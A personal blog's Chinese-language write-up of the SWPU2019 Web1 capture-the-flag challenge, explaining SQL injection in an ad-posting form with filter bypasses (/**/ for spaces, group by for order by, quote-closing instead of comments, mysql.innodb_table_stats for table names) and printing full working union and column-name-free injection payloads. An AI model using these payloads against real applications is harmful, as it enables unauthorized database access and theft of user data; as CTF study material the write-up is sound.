Z1d10tのBlog

A note for myself,have fun!

[SWPU2019]Web1

这是一道无列名注入的一道题

进入发现要注册一个账号并且登录 发现admin已经被注册了 本来一开始的想法是拿到admin的密码就结束了

进去之后有一个 可以发布内容的 看到这里以为是xss注入 但后来看了大佬wp 不是

img

然后在发布广告广告名这里可以进行sql注入

img

判断字段数,发现order by被禁用了所以之后联合查询时候包含or表,数据库都被河蟹了。

空格也被河蟹了 用/**/来绕过 这个本来是mysql用于多行注释的

就可以用group by代替 或者select 1,2,3… 根据回显判断字段数

然后这道题还河蟹了# --注释符 这里用到了通过闭合后面的单引号来绕过 参考:https://blog.csdn.net/qq_35733751/article/details/106462625

img这张图就可以很形象表示

判断字段数:1'/**/group/**/by/**/22,' 至于这个末尾的逗号 应该是起一个子句的作用 如果没有就会报错

查表:1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

这里用到了 mysql.innodb_table_stats因为 or 被河蟹了,又长了一个新姿势 还可以用 sys.schema_auto_increment_columns查表名 参考:https://www.anquanke.com/post/id/193512

爆出表名:

FLAG_TABLE,news,users,gtid_slave_pos,ads,users

得到了表名 一般来说就要爆列名了 但是这道题不知道列名 然后就要使用无列名注入了,在本地搭了一个环境进行测试

简单来说无列名注入会给表的列名起一个数字称谓(as用字符当别称也行)然后利用数字查列内容

参考:https://err0r.top/article/mardasctf/

img

派生表要起个别名 如下图 不然会报错

img

如果是数字 则要用``包裹起来 如果被河蟹了 就可以用起别名的方式绕过

img

构造:1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

img

img

至于这里为什么中间是只有 select 1,2,3就结束了 这里没搞明白

如果我们多加个4 或者减去一个数 则会出现img

爆出 查询的列不对应

原因是之后联合查询这部分字段数只有3个字段union/**/select*from/**/users

select 和 union select一起用的时候前后字段数必须相同

本文最后更新于 天前,文中所描述的信息可能已发生改变